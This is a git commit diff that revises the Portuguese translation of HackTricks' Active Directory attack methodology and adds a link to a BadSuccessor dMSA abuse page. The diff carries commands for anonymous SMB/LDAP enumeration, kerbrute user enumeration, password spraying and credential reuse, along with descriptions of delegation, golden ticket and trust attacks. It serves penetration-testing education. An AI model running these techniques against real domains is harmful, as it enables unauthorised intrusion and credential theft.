mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/windows-hardening/active-directory-methodology/README.m
This commit is contained in:
parent
51acd5dc4d
commit
24d0dfce25
@ -263,6 +263,7 @@
|
||||
- [AD DNS Records](windows-hardening/active-directory-methodology/ad-dns-records.md)
|
||||
- [Adws Enumeration](windows-hardening/active-directory-methodology/adws-enumeration.md)
|
||||
- [ASREPRoast](windows-hardening/active-directory-methodology/asreproast.md)
|
||||
- [Badsuccessor Dmsa Migration Abuse](windows-hardening/active-directory-methodology/badsuccessor-dmsa-migration-abuse.md)
|
||||
- [BloodHound & Other AD Enum Tools](windows-hardening/active-directory-methodology/bloodhound.md)
|
||||
- [Constrained Delegation](windows-hardening/active-directory-methodology/constrained-delegation.md)
|
||||
- [Custom SSP](windows-hardening/active-directory-methodology/custom-ssp.md)
|
||||
|
@ -6,7 +6,7 @@
|
||||
|
||||
**Active Directory** serve como uma tecnologia fundamental, permitindo que **administradores de rede** criem e gerenciem de forma eficiente **domínios**, **usuários** e **objetos** dentro de uma rede. É projetado para escalar, facilitando a organização de um grande número de usuários em **grupos** e **subgrupos** gerenciáveis, enquanto controla os **direitos de acesso** em vários níveis.
|
||||
|
||||
A estrutura do **Active Directory** é composta por três camadas principais: **domínios**, **árvores** e **florestas**. Um **domínio** abrange uma coleção de objetos, como **usuários** ou **dispositivos**, que compartilham um banco de dados comum. **Árvores** são grupos desses domínios ligados por uma estrutura compartilhada, e uma **floresta** representa a coleção de várias árvores, interconectadas por **relações de confiança**, formando a camada mais alta da estrutura organizacional. Direitos específicos de **acesso** e **comunicação** podem ser designados em cada um desses níveis.
|
||||
A estrutura do **Active Directory** é composta por três camadas principais: **domínios**, **árvores** e **florestas**. Um **domínio** abrange uma coleção de objetos, como **usuários** ou **dispositivos**, que compartilham um banco de dados comum. **Árvores** são grupos desses domínios ligados por uma estrutura compartilhada, e uma **floresta** representa a coleção de várias árvores, interconectadas por meio de **relações de confiança**, formando a camada mais alta da estrutura organizacional. Direitos específicos de **acesso** e **comunicação** podem ser designados em cada um desses níveis.
|
||||
|
||||
Os conceitos-chave dentro do **Active Directory** incluem:
|
||||
|
||||
@ -19,10 +19,10 @@ Os conceitos-chave dentro do **Active Directory** incluem:
|
||||
**Serviços de Domínio do Active Directory (AD DS)** abrangem uma gama de serviços críticos para a gestão centralizada e comunicação dentro de uma rede. Esses serviços incluem:
|
||||
|
||||
1. **Serviços de Domínio** – Centraliza o armazenamento de dados e gerencia interações entre **usuários** e **domínios**, incluindo funcionalidades de **autenticação** e **busca**.
|
||||
2. **Serviços de Certificado** – Supervisiona a criação, distribuição e gestão de **certificados digitais** seguros.
|
||||
2. **Serviços de Certificado** – Supervisiona a criação, distribuição e gerenciamento de **certificados digitais** seguros.
|
||||
3. **Serviços de Diretório Leve** – Suporta aplicações habilitadas para diretório através do **protocolo LDAP**.
|
||||
4. **Serviços de Federação de Diretório** – Fornece capacidades de **single-sign-on** para autenticar usuários em várias aplicações web em uma única sessão.
|
||||
5. **Gestão de Direitos** – Ajuda a proteger material com direitos autorais regulando sua distribuição e uso não autorizados.
|
||||
5. **Gerenciamento de Direitos** – Ajuda a proteger material com direitos autorais regulando sua distribuição e uso não autorizados.
|
||||
6. **Serviço DNS** – Crucial para a resolução de **nomes de domínio**.
|
||||
|
||||
Para uma explicação mais detalhada, consulte: [**TechTerms - Definição de Active Directory**](https://techterms.com/definition/active_directory)
|
||||
@ -48,7 +48,7 @@ Se você apenas tiver acesso a um ambiente AD, mas não tiver credenciais/sessõ
|
||||
- Enumerar DNS pode fornecer informações sobre servidores chave no domínio, como web, impressoras, compartilhamentos, vpn, mídia, etc.
|
||||
- `gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt`
|
||||
- Dê uma olhada na [**Metodologia de Pentesting**](../../generic-methodologies-and-resources/pentesting-methodology.md) para encontrar mais informações sobre como fazer isso.
|
||||
- **Verificar acesso nulo e de convidado em serviços smb** (isso não funcionará em versões modernas do Windows):
|
||||
- **Verifique o acesso nulo e de convidado em serviços smb** (isso não funcionará em versões modernas do Windows):
|
||||
- `enum4linux -a -u "" -p "" <DC IP> && enum4linux -a -u "guest" -p "" <DC IP>`
|
||||
- `smbmap -u "" -p "" -P 445 -H <DC IP> && smbmap -u "guest" -p "" -P 445 -H <DC IP>`
|
||||
- `smbclient -U '%' -L //<DC IP> && smbclient -U 'guest%' -L //`
|
||||
@ -58,7 +58,7 @@ Se você apenas tiver acesso a um ambiente AD, mas não tiver credenciais/sessõ
|
||||
../../network-services-pentesting/pentesting-smb/
|
||||
{{#endref}}
|
||||
|
||||
- **Enumerar Ldap**
|
||||
- **Enumerar LDAP**
|
||||
- `nmap -n -sV --script "ldap* and not brute" -p 389 <DC IP>`
|
||||
- Um guia mais detalhado sobre como enumerar LDAP pode ser encontrado aqui (preste **atenção especial ao acesso anônimo**):
|
||||
|
||||
@ -68,11 +68,11 @@ Se você apenas tiver acesso a um ambiente AD, mas não tiver credenciais/sessõ
|
||||
|
||||
- **Envenenar a rede**
|
||||
- Coletar credenciais [**impersonando serviços com Responder**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
- Acessar host por [**abusar do ataque de retransmissão**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)
|
||||
- Acessar o host [**abusando do ataque de retransmissão**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)
|
||||
- Coletar credenciais **expondo** [**serviços UPnP falsos com evil-S**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
|
||||
- [**OSINT**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/index.html):
|
||||
- Extrair nomes de usuários/nome de documentos internos, redes sociais, serviços (principalmente web) dentro dos ambientes de domínio e também de fontes publicamente disponíveis.
|
||||
- Se você encontrar os nomes completos dos trabalhadores da empresa, pode tentar diferentes convenções de **nomes de usuário AD** (**[leia isso](https://activedirectorypro.com/active-directory-user-naming-convention/)**). As convenções mais comuns são: _NomeSobrenome_, _Nome.Sobrenome_, _NamSur_ (3 letras de cada), _Nam.Sur_, _NSobrenome_, _N.Sobrenome_, _SobrenomeNome_, _Sobrenome.Nome_, _SobrenomeN_, _Sobrenome.N_, 3 _letras aleatórias e 3 números aleatórios_ (abc123).
|
||||
- Se você encontrar os nomes completos dos trabalhadores da empresa, pode tentar diferentes **convenções de nome de usuário AD** (**[leia isso](https://activedirectorypro.com/active-directory-user-naming-convention/)**). As convenções mais comuns são: _NomeSobrenome_, _Nome.Sobrenome_, _NamSur_ (3 letras de cada), _Nam.Sur_, _NSobrenome_, _N.Sobrenome_, _SobrenomeNome_, _Sobrenome.Nome_, _SobrenomeN_, _Sobrenome.N_, 3 _letras aleatórias e 3 números aleatórios_ (abc123).
|
||||
- Ferramentas:
|
||||
- [w0Tx/generate-ad-username](https://github.com/w0Tx/generate-ad-username)
|
||||
- [urbanadventurer/username-anarchy](https://github.com/urbanadventurer/username-anarchy)
|
||||
@ -80,8 +80,8 @@ Se você apenas tiver acesso a um ambiente AD, mas não tiver credenciais/sessõ
|
||||
### Enumeração de usuários
|
||||
|
||||
- **Enumeração SMB/LDAP anônima:** Verifique as páginas de [**pentesting SMB**](../../network-services-pentesting/pentesting-smb/index.html) e [**pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md).
|
||||
- **Enumeração Kerbrute**: Quando um **nome de usuário inválido é solicitado**, o servidor responderá usando o código de erro **Kerberos** _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_, permitindo-nos determinar que o nome de usuário era inválido. **Nomes de usuários válidos** gerarão uma resposta **TGT em um AS-REP** ou o erro _KRB5KDC_ERR_PREAUTH_REQUIRED_, indicando que o usuário deve realizar a pré-autenticação.
|
||||
- **Sem autenticação contra MS-NRPC**: Usando auth-level = 1 (Sem autenticação) contra a interface MS-NRPC (Netlogon) em controladores de domínio. O método chama a função `DsrGetDcNameEx2` após vincular a interface MS-NRPC para verificar se o usuário ou computador existe sem credenciais. A ferramenta [NauthNRPC](https://github.com/sud0Ru/NauthNRPC) implementa esse tipo de enumeração. A pesquisa pode ser encontrada [aqui](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/05/22190247/A-journey-into-forgotten-Null-Session-and-MS-RPC-interfaces.pdf)
|
||||
- **Enumeração Kerbrute**: Quando um **nome de usuário inválido é solicitado**, o servidor responderá usando o código de erro **Kerberos** _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_, permitindo-nos determinar que o nome de usuário era inválido. **Nomes de usuários válidos** resultarão em uma resposta **TGT em um AS-REP** ou no erro _KRB5KDC_ERR_PREAUTH_REQUIRED_, indicando que o usuário deve realizar a pré-autenticação.
|
||||
- **Sem Autenticação contra MS-NRPC**: Usando auth-level = 1 (Sem autenticação) contra a interface MS-NRPC (Netlogon) em controladores de domínio. O método chama a função `DsrGetDcNameEx2` após vincular a interface MS-NRPC para verificar se o usuário ou computador existe sem credenciais. A ferramenta [NauthNRPC](https://github.com/sud0Ru/NauthNRPC) implementa esse tipo de enumeração. A pesquisa pode ser encontrada [aqui](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/05/22190247/A-journey-into-forgotten-Null-Session-and-MS-RPC-interfaces.pdf)
|
||||
```bash
|
||||
./kerbrute_linux_amd64 userenum -d lab.ropnop.com --dc 10.10.10.10 usernames.txt #From https://github.com/ropnop/kerbrute/releases
|
||||
|
||||
@ -117,8 +117,8 @@ Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password
|
||||
Ok, então você sabe que já tem um nome de usuário válido, mas sem senhas... Então tente:
|
||||
|
||||
- [**ASREPRoast**](asreproast.md): Se um usuário **não tiver** o atributo _DONT_REQ_PREAUTH_, você pode **solicitar uma mensagem AS_REP** para esse usuário que conterá alguns dados criptografados por uma derivação da senha do usuário.
|
||||
- [**Password Spraying**](password-spraying.md): Vamos tentar as senhas mais **comuns** com cada um dos usuários descobertos, talvez algum usuário esteja usando uma senha fraca (lembre-se da política de senhas!).
|
||||
- Note que você também pode **spray servidores OWA** para tentar obter acesso aos servidores de e-mail dos usuários.
|
||||
- [**Password Spraying**](password-spraying.md): Vamos tentar as senhas **mais comuns** com cada um dos usuários descobertos, talvez algum usuário esteja usando uma senha fraca (lembre-se da política de senhas!).
|
||||
- Note que você também pode **spray em servidores OWA** para tentar obter acesso aos servidores de e-mail dos usuários.
|
||||
|
||||
{{#ref}}
|
||||
password-spraying.md
|
||||
@ -176,7 +176,7 @@ Em relação ao [**ASREPRoast**](asreproast.md), você agora pode encontrar todo
|
||||
|
||||
É muito fácil obter todos os nomes de usuários do domínio do Windows (`net user /domain`, `Get-DomainUser` ou `wmic useraccount get name,sid`). No Linux, você pode usar: `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` ou `enum4linux -a -u "user" -p "password" <DC IP>`
|
||||
|
||||
> Mesmo que esta seção de Enumeração pareça pequena, esta é a parte mais importante de todas. Acesse os links (principalmente o do cmd, powershell, powerview e BloodHound), aprenda como enumerar um domínio e pratique até se sentir confortável. Durante uma avaliação, este será o momento chave para encontrar seu caminho para DA ou decidir que nada pode ser feito.
|
||||
> Mesmo que esta seção de Enumeração pareça pequena, esta é a parte mais importante de todas. Acesse os links (principalmente o do cmd, powershell, powerview e BloodHound), aprenda como enumerar um domínio e pratique até se sentir confortável. Durante uma avaliação, este será o momento chave para encontrar seu caminho até o DA ou decidir que nada pode ser feito.
|
||||
|
||||
### Kerberoast
|
||||
|
||||
@ -194,7 +194,7 @@ Uma vez que você tenha obtido algumas credenciais, pode verificar se tem acesso
|
||||
|
||||
### Escalação de Privilégios Local
|
||||
|
||||
Se você comprometeu credenciais ou uma sessão como um usuário de domínio regular e tem **acesso** com esse usuário a **qualquer máquina no domínio**, você deve tentar encontrar uma maneira de **escalar privilégios localmente e procurar credenciais**. Isso porque apenas com privilégios de administrador local você poderá **extrair hashes de outros usuários** na memória (LSASS) e localmente (SAM).
|
||||
Se você comprometeu credenciais ou uma sessão como um usuário regular de domínio e tem **acesso** com esse usuário a **qualquer máquina no domínio**, você deve tentar encontrar uma maneira de **escalar privilégios localmente e procurar por credenciais**. Isso porque apenas com privilégios de administrador local você poderá **extrair hashes de outros usuários** na memória (LSASS) e localmente (SAM).
|
||||
|
||||
Há uma página completa neste livro sobre [**escalação de privilégios local no Windows**](../windows-local-privilege-escalation/index.html) e uma [**checklist**](../checklist-windows-privilege-escalation.md). Além disso, não se esqueça de usar [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite).
|
||||
|
||||
@ -214,7 +214,7 @@ Se você conseguiu enumerar o Active Directory, terá **mais e-mails e uma melho
|
||||
|
||||
### Procura por Credenciais em Compartilhamentos de Computador | Compartilhamentos SMB
|
||||
|
||||
Agora que você tem algumas credenciais básicas, deve verificar se consegue **encontrar** arquivos **interessantes sendo compartilhados dentro do AD**. Você poderia fazer isso manualmente, mas é uma tarefa repetitiva muito chata (e mais ainda se você encontrar centenas de documentos que precisa verificar).
|
||||
Agora que você tem algumas credenciais básicas, deve verificar se consegue **encontrar** arquivos **interessantes sendo compartilhados dentro do AD**. Você poderia fazer isso manualmente, mas é uma tarefa muito chata e repetitiva (e mais ainda se você encontrar centenas de documentos que precisa verificar).
|
||||
|
||||
[**Siga este link para aprender sobre ferramentas que você poderia usar.**](../../network-services-pentesting/pentesting-smb/index.html#domain-shared-folders-search)
|
||||
|
||||
@ -268,7 +268,7 @@ pass-the-ticket.md
|
||||
|
||||
### Reutilização de Credenciais
|
||||
|
||||
Se você tem o **hash** ou a **senha** de um **administrador local**, deve tentar **fazer login localmente** em outros **PCs** com ele.
|
||||
Se você tem o **hash** ou a **senha** de um **administrador local**, deve tentar **fazer login localmente** em outros **PCs** com isso.
|
||||
```bash
|
||||
# Local Auth Spray (once you found some local admin pass or hash)
|
||||
## --local-auth flag indicate to only try 1 time per machine
|
||||
@ -287,7 +287,7 @@ Além disso, se uma instância MSSQL for confiável (link de banco de dados) por
|
||||
abusing-ad-mssql.md
|
||||
{{#endref}}
|
||||
|
||||
### Delegação Não Restrita
|
||||
### Delegação Inconstrangida
|
||||
|
||||
Se você encontrar qualquer objeto de Computador com o atributo [ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) e você tiver privilégios de domínio no computador, você poderá despejar TGTs da memória de todos os usuários que fazem login no computador.\
|
||||
Portanto, se um **Administrador de Domínio fizer login no computador**, você poderá despejar seu TGT e se passar por ele usando [Pass the Ticket](pass-the-ticket.md).\
|
||||
@ -297,18 +297,18 @@ Graças à delegação restrita, você poderia até mesmo **comprometer automati
|
||||
unconstrained-delegation.md
|
||||
{{#endref}}
|
||||
|
||||
### Delegação Restrita
|
||||
### Delegação Constrangida
|
||||
|
||||
Se um usuário ou computador for permitido para "Delegação Restrita", ele poderá **se passar por qualquer usuário para acessar alguns serviços em um computador**.\
|
||||
Então, se você **comprometer o hash** deste usuário/computador, você poderá **se passar por qualquer usuário** (até mesmo administradores de domínio) para acessar alguns serviços.
|
||||
Se um usuário ou computador for permitido para "Delegação Constrangida", ele poderá **se passar por qualquer usuário para acessar alguns serviços em um computador**.\
|
||||
Então, se você **comprometer o hash** desse usuário/computador, você poderá **se passar por qualquer usuário** (até mesmo administradores de domínio) para acessar alguns serviços.
|
||||
|
||||
{{#ref}}
|
||||
constrained-delegation.md
|
||||
{{#endref}}
|
||||
|
||||
### Delegação Baseada em Recursos
|
||||
### Delegação Constrangida Baseada em Recursos
|
||||
|
||||
Ter privilégio de **GRAVAÇÃO** em um objeto do Active Directory de um computador remoto permite a execução de código com **privilégios elevados**:
|
||||
Ter privilégio de **WRITE** em um objeto do Active Directory de um computador remoto permite a obtenção de execução de código com **privilégios elevados**:
|
||||
|
||||
{{#ref}}
|
||||
resource-based-constrained-delegation.md
|
||||
@ -322,9 +322,9 @@ O usuário comprometido pode ter alguns **privilégios interessantes sobre algun
|
||||
acl-persistence-abuse/
|
||||
{{#endref}}
|
||||
|
||||
### Abuso do serviço Spooler de Impressão
|
||||
### Abuso do serviço de Spooler de Impressão
|
||||
|
||||
Descobrir um **serviço Spool** escutando dentro do domínio pode ser **abusado** para **adquirir novas credenciais** e **escalar privilégios**.
|
||||
Descobrir um **serviço de Spool** ouvindo dentro do domínio pode ser **abusado** para **adquirir novas credenciais** e **escalar privilégios**.
|
||||
|
||||
{{#ref}}
|
||||
printers-spooler-service-abuse.md
|
||||
@ -341,7 +341,7 @@ rdp-sessions-abuse.md
|
||||
|
||||
### LAPS
|
||||
|
||||
**LAPS** fornece um sistema para gerenciar a **senha do Administrador local** em computadores associados ao domínio, garantindo que seja **randomizada**, única e frequentemente **alterada**. Essas senhas são armazenadas no Active Directory e o acesso é controlado através de ACLs apenas para usuários autorizados. Com permissões suficientes para acessar essas senhas, a movimentação para outros computadores se torna possível.
|
||||
**LAPS** fornece um sistema para gerenciar a **senha do Administrador local** em computadores unidos ao domínio, garantindo que seja **randomizada**, única e frequentemente **alterada**. Essas senhas são armazenadas no Active Directory e o acesso é controlado através de ACLs apenas para usuários autorizados. Com permissões suficientes para acessar essas senhas, a transição para outros computadores se torna possível.
|
||||
|
||||
{{#ref}}
|
||||
laps.md
|
||||
@ -406,7 +406,7 @@ silver-ticket.md
|
||||
|
||||
### Golden Ticket
|
||||
|
||||
Um **ataque Golden Ticket** envolve um atacante obtendo acesso ao **hash NTLM da conta krbtgt** em um ambiente Active Directory (AD). Esta conta é especial porque é usada para assinar todos os **Tickets Granting Tickets (TGTs)**, que são essenciais para autenticação dentro da rede AD.
|
||||
Um **ataque Golden Ticket** envolve um atacante ganhando acesso ao **hash NTLM da conta krbtgt** em um ambiente Active Directory (AD). Esta conta é especial porque é usada para assinar todos os **Tickets Granting Tickets (TGTs)**, que são essenciais para autenticação dentro da rede AD.
|
||||
|
||||
Uma vez que o atacante obtém esse hash, ele pode criar **TGTs** para qualquer conta que escolher (ataque Silver ticket).
|
||||
|
||||
@ -440,7 +440,7 @@ ad-certificates/domain-persistence.md
|
||||
|
||||
### Grupo AdminSDHolder
|
||||
|
||||
O objeto **AdminSDHolder** no Active Directory garante a segurança de **grupos privilegiados** (como Administradores de Domínio e Administradores de Empresa) aplicando uma **Lista de Controle de Acesso (ACL)** padrão em todos esses grupos para evitar alterações não autorizadas. No entanto, esse recurso pode ser explorado; se um atacante modificar a ACL do AdminSDHolder para dar acesso total a um usuário comum, esse usuário ganha controle extenso sobre todos os grupos privilegiados. Essa medida de segurança, destinada a proteger, pode, portanto, falhar, permitindo acesso indevido, a menos que monitorado de perto.
|
||||
O objeto **AdminSDHolder** no Active Directory garante a segurança de **grupos privilegiados** (como Administradores de Domínio e Administradores de Empresa) aplicando uma **Lista de Controle de Acesso (ACL)** padrão em todos esses grupos para evitar alterações não autorizadas. No entanto, esse recurso pode ser explorado; se um atacante modificar a ACL do AdminSDHolder para dar acesso total a um usuário comum, esse usuário ganha controle extenso sobre todos os grupos privilegiados. Essa medida de segurança, destinada a proteger, pode, portanto, ter o efeito oposto, permitindo acesso indevido, a menos que monitorado de perto.
|
||||
|
||||
[**Mais informações sobre o Grupo AdminDSHolder aqui.**](privileged-groups-and-token-privileges.md#adminsdholder-group)
|
||||
|
||||
@ -462,7 +462,7 @@ acl-persistence-abuse/
|
||||
|
||||
### Descritores de Segurança
|
||||
|
||||
Os **descritores de segurança** são usados para **armazenar** as **permissões** que um **objeto** tem **sobre** um **objeto**. Se você puder apenas **fazer** uma **pequena alteração** no **descritor de segurança** de um objeto, você pode obter privilégios muito interessantes sobre esse objeto sem precisar ser membro de um grupo privilegiado.
|
||||
Os **descritores de segurança** são usados para **armazenar** as **permissões** que um **objeto** tem **sobre** um **objeto**. Se você puder apenas **fazer** uma **pequena mudança** no **descritor de segurança** de um objeto, você pode obter privilégios muito interessantes sobre esse objeto sem precisar ser membro de um grupo privilegiado.
|
||||
|
||||
{{#ref}}
|
||||
security-descriptors.md
|
||||
@ -519,7 +519,7 @@ Em um cenário típico, se um usuário pretende acessar um serviço em um **dom
|
||||
2. O DC1 emite um novo TGT se o cliente for autenticado com sucesso.
|
||||
3. O cliente então solicita um **TGT inter-realm** do DC1, que é necessário para acessar recursos no **Domínio 2**.
|
||||
4. O TGT inter-realm é criptografado com uma **chave de confiança** compartilhada entre DC1 e DC2 como parte da confiança de domínio bidirecional.
|
||||
5. O cliente leva o TGT inter-realm ao **Controlador de Domínio do Domínio 2 (DC2)**.
|
||||
5. O cliente leva o TGT inter-realm para o **Controlador de Domínio do Domínio 2 (DC2)**.
|
||||
6. O DC2 verifica o TGT inter-realm usando sua chave de confiança compartilhada e, se válido, emite um **Ticket Granting Service (TGS)** para o servidor no Domínio 2 que o cliente deseja acessar.
|
||||
7. Finalmente, o cliente apresenta este TGS ao servidor, que é criptografado com o hash da conta do servidor, para obter acesso ao serviço no Domínio 2.
|
||||
|
||||
@ -532,8 +532,8 @@ Se o Domínio A confiar no Domínio B, A é o domínio confiador e B é o confi
|
||||
**Diferentes relações de confiança**
|
||||
|
||||
- **Confianças Pai-Filho**: Esta é uma configuração comum dentro da mesma floresta, onde um domínio filho automaticamente tem uma confiança transitiva bidirecional com seu domínio pai. Essencialmente, isso significa que as solicitações de autenticação podem fluir sem problemas entre o pai e o filho.
|
||||
- **Confianças de Cruzamento**: Conhecidas como "confianças de atalho", estas são estabelecidas entre domínios filhos para acelerar processos de referência. Em florestas complexas, as referências de autenticação normalmente precisam viajar até a raiz da floresta e depois descer até o domínio alvo. Ao criar cruzamentos, a jornada é encurtada, o que é especialmente benéfico em ambientes geograficamente dispersos.
|
||||
- **Confianças Externas**: Estas são configuradas entre diferentes domínios não relacionados e são não transitivas por natureza. De acordo com a [documentação da Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>), as confianças externas são úteis para acessar recursos em um domínio fora da floresta atual que não está conectado por uma confiança de floresta. A segurança é reforçada através da filtragem de SID com confianças externas.
|
||||
- **Confianças de Cross-link**: Referidas como "confianças de atalho", estas são estabelecidas entre domínios filhos para acelerar processos de referência. Em florestas complexas, as referências de autenticação normalmente precisam viajar até a raiz da floresta e depois descer até o domínio alvo. Ao criar cross-links, a jornada é encurtada, o que é especialmente benéfico em ambientes geograficamente dispersos.
|
||||
- **Confianças Externas**: Estas são configuradas entre domínios diferentes e não relacionados e são não transitivas por natureza. De acordo com a [documentação da Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>), as confianças externas são úteis para acessar recursos em um domínio fora da floresta atual que não está conectado por uma confiança de floresta. A segurança é reforçada através da filtragem de SID com confianças externas.
|
||||
- **Confianças de Raiz de Árvore**: Essas confianças são automaticamente estabelecidas entre o domínio raiz da floresta e uma nova raiz de árvore adicionada. Embora não sejam comumente encontradas, as confianças de raiz de árvore são importantes para adicionar novas árvores de domínio a uma floresta, permitindo que mantenham um nome de domínio exclusivo e garantindo transitividade bidirecional. Mais informações podem ser encontradas no [guia da Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>).
|
||||
- **Confianças de Floresta**: Este tipo de confiança é uma confiança transitiva bidirecional entre dois domínios raiz de floresta, também aplicando filtragem de SID para melhorar as medidas de segurança.
|
||||
- **Confianças MIT**: Essas confianças são estabelecidas com domínios Kerberos não-Windows, [compatíveis com RFC4120](https://tools.ietf.org/html/rfc4120). As confianças MIT são um pouco mais especializadas e atendem a ambientes que exigem integração com sistemas baseados em Kerberos fora do ecossistema Windows.
|
||||
@ -553,14 +553,14 @@ Se o Domínio A confiar no Domínio B, A é o domínio confiador e B é o confi
|
||||
Os atacantes poderiam acessar recursos em outro domínio através de três mecanismos principais:
|
||||
|
||||
- **Membro de Grupo Local**: Os principais podem ser adicionados a grupos locais em máquinas, como o grupo “Administradores” em um servidor, concedendo-lhes controle significativo sobre essa máquina.
|
||||
- **Membro de Grupo de Domínio Estrangeiro**: Os principais também podem ser membros de grupos dentro do domínio estrangeiro. No entanto, a eficácia deste método depende da natureza da confiança e do escopo do grupo.
|
||||
- **Listas de Controle de Acesso (ACLs)**: Os principais podem ser especificados em uma **ACL**, particularmente como entidades em **ACEs** dentro de um **DACL**, proporcionando-lhes acesso a recursos específicos. Para aqueles que desejam se aprofundar mais na mecânica de ACLs, DACLs e ACEs, o whitepaper intitulado “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” é um recurso inestimável.
|
||||
- **Membro de Grupo de Domínio Estrangeiro**: Os principais também podem ser membros de grupos dentro do domínio estrangeiro. No entanto, a eficácia desse método depende da natureza da confiança e do escopo do grupo.
|
||||
- **Listas de Controle de Acesso (ACLs)**: Os principais podem ser especificados em uma **ACL**, particularmente como entidades em **ACEs** dentro de um **DACL**, proporcionando-lhes acesso a recursos específicos. Para aqueles que desejam se aprofundar na mecânica de ACLs, DACLs e ACEs, o whitepaper intitulado “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” é um recurso inestimável.
|
||||
|
||||
### Encontrar usuários/grupos externos com permissões
|
||||
|
||||
Você pode verificar **`CN=<user_SID>,CN=ForeignSecurityPrincipals,DC=domain,DC=com`** para encontrar principais de segurança estrangeiros no domínio. Estes serão usuários/grupos de **um domínio/floresta externa**.
|
||||
|
||||
Você pode verificar isso no **Bloodhound** ou usando powerview:
|
||||
Você poderia verificar isso no **Bloodhound** ou usando powerview:
|
||||
```powershell
|
||||
# Get users that are i groups outside of the current domain
|
||||
Get-DomainForeignUser
|
||||
@ -630,13 +630,19 @@ Análise detalhada e orientações passo a passo podem ser encontradas em:
|
||||
golden-dmsa-gmsa.md
|
||||
{{#endref}}
|
||||
|
||||
Ataque MSA delegado complementar (BadSuccessor – abusando de atributos de migração):
|
||||
|
||||
{{#ref}}
|
||||
badsuccessor-dmsa-migration-abuse.md
|
||||
{{#endref}}
|
||||
|
||||
Pesquisa externa adicional: [Golden gMSA Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent).
|
||||
|
||||
**Ataque de mudança de esquema**
|
||||
|
||||
Esse método requer paciência, aguardando a criação de novos objetos AD privilegiados. Com privilégios de SYSTEM, um atacante pode modificar o Esquema AD para conceder a qualquer usuário controle total sobre todas as classes. Isso pode levar a acesso não autorizado e controle sobre novos objetos AD criados.
|
||||
Esse método requer paciência, aguardando a criação de novos objetos AD privilegiados. Com privilégios de SYSTEM, um atacante pode modificar o Esquema AD para conceder a qualquer usuário controle total sobre todas as classes. Isso pode levar a acesso não autorizado e controle sobre objetos AD recém-criados.
|
||||
|
||||
Leitura adicional está disponível sobre [Schema Change Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent).
|
||||
Leitura adicional está disponível em [Schema Change Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent).
|
||||
|
||||
**De DA para EA com ADCS ESC5**
|
||||
|
||||
@ -675,7 +681,7 @@ WhenChanged : 2/19/2021 10:15:24 PM
|
||||
```
|
||||
Neste cenário, **seu domínio** está **confiando** alguns **privilégios** a um principal de **domínios diferentes**.
|
||||
|
||||
No entanto, quando um **domínio é confiável** pelo domínio confiador, o domínio confiável **cria um usuário** com um **nome previsível** que usa como **senha a senha confiável**. O que significa que é possível **acessar um usuário do domínio confiador para entrar no confiável** para enumerá-lo e tentar escalar mais privilégios:
|
||||
No entanto, quando um **domínio é confiável** pelo domínio confiável, o domínio confiável **cria um usuário** com um **nome previsível** que usa como **senha a senha confiável**. O que significa que é possível **acessar um usuário do domínio confiável para entrar no confiável** para enumerá-lo e tentar escalar mais privilégios:
|
||||
|
||||
{{#ref}}
|
||||
external-forest-domain-one-way-outbound.md
|
||||
@ -699,7 +705,7 @@ rdp-sessions-abuse.md
|
||||
|
||||
### **Autenticação Seletiva:**
|
||||
|
||||
- Para confianças inter-floresta, a utilização da Autenticação Seletiva garante que os usuários das duas florestas não sejam autenticados automaticamente. Em vez disso, permissões explícitas são necessárias para que os usuários acessem domínios e servidores dentro do domínio ou floresta confiadora.
|
||||
- Para confianças inter-floresta, a utilização da Autenticação Seletiva garante que os usuários das duas florestas não sejam autenticados automaticamente. Em vez disso, permissões explícitas são necessárias para que os usuários acessem domínios e servidores dentro do domínio ou floresta confiável.
|
||||
- É importante notar que essas medidas não protegem contra a exploração do Contexto de Nomeação de Configuração (NC) gravável ou ataques à conta de confiança.
|
||||
|
||||
[**Mais informações sobre confianças de domínio em ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain)
|
||||
@ -722,21 +728,21 @@ https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-move
|
||||
|
||||
### **Implementando Técnicas de Engano**
|
||||
|
||||
- Implementar engano envolve a configuração de armadilhas, como usuários ou computadores de isca, com características como senhas que não expiram ou são marcadas como Confiáveis para Delegação. Uma abordagem detalhada inclui a criação de usuários com direitos específicos ou adicioná-los a grupos de alto privilégio.
|
||||
